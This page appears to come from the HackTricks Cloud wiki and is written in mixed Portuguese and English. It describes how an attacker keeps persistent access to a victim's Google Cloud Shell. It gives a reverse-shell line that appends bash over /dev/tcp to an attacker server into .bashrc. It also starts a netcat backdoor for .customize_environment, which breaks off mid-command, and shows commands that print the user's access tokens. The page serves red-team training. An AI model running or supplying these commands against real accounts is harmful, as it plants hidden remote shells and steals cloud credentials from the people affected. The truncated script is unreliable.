GCP - Cloud Shell Persistence
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Cloud Shell
Para mais informações, consulte:
Persistent Backdoor
Google Cloud Shell fornece acesso por linha de comando aos seus recursos na nuvem diretamente do navegador, sem qualquer custo associado.
Você pode acessar o Cloud Shell do Google pelo console web ou executando gcloud cloud-shell ssh.
Este console tem algumas capacidades interessantes para atacantes:
- Any Google user with access to Google Cloud tem acesso a uma instância do Cloud Shell totalmente autenticada (Service Accounts can, even being Owners of the org).
- Essa instância manterá seu diretório home por pelo menos 120 dias caso não haja atividade.
- Não há capacidades para uma organização monitorar a atividade dessa instância.
Isso basicamente significa que um atacante pode colocar um backdoor no diretório home do usuário e, desde que o usuário se conecte ao GC Shell pelo menos a cada 120 dias, o backdoor sobreviverá e o atacante obterá um shell sempre que ele for executado apenas fazendo:
Add reverse shell to .bashrc
```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ```Existe outro arquivo na pasta home chamado .customize_environment que, se existir, será executado toda vez que o usuário acessar o cloud shell (como na técnica anterior). Basta inserir o backdoor anterior ou um como o seguinte para manter persistência enquanto o usuário usar “frequentemente” o cloud shell:
Criar backdoor .customize_environment
```bash #!/bin/sh apt-get install netcat -y ncWarning
É importante notar que a primeira vez que uma ação que requer autenticação é executada, uma janela de autorização pop-up aparece no navegador do usuário. Essa janela deve ser aceita antes que o comando possa ser executado. Se um pop-up inesperado aparecer, isso pode levantar suspeitas e potencialmente comprometer o método de persistência em uso.
This is the pop-up from executing gcloud projects list from the cloud shell (as attacker) viewed in the browsers user session:
.png)
However, if the user has actively used the cloudshell, the pop-up won’t appear and you can coletar tokens do usuário com:
Obter access tokens do Cloud Shell
```bash gcloud auth print-access-token gcloud auth application-default print-access-token ```Como a conexão SSH é estabelecida
Basicamente, estas 3 chamadas de API são usadas:
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey [POST] (faz com que você adicione sua chave pública criada localmente)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start [POST] (inicia a instância)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default [GET] (informará o IP do Google Cloud Shell)
Mas você pode encontrar mais informações em https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
Referências
- https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec
- https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
- https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud

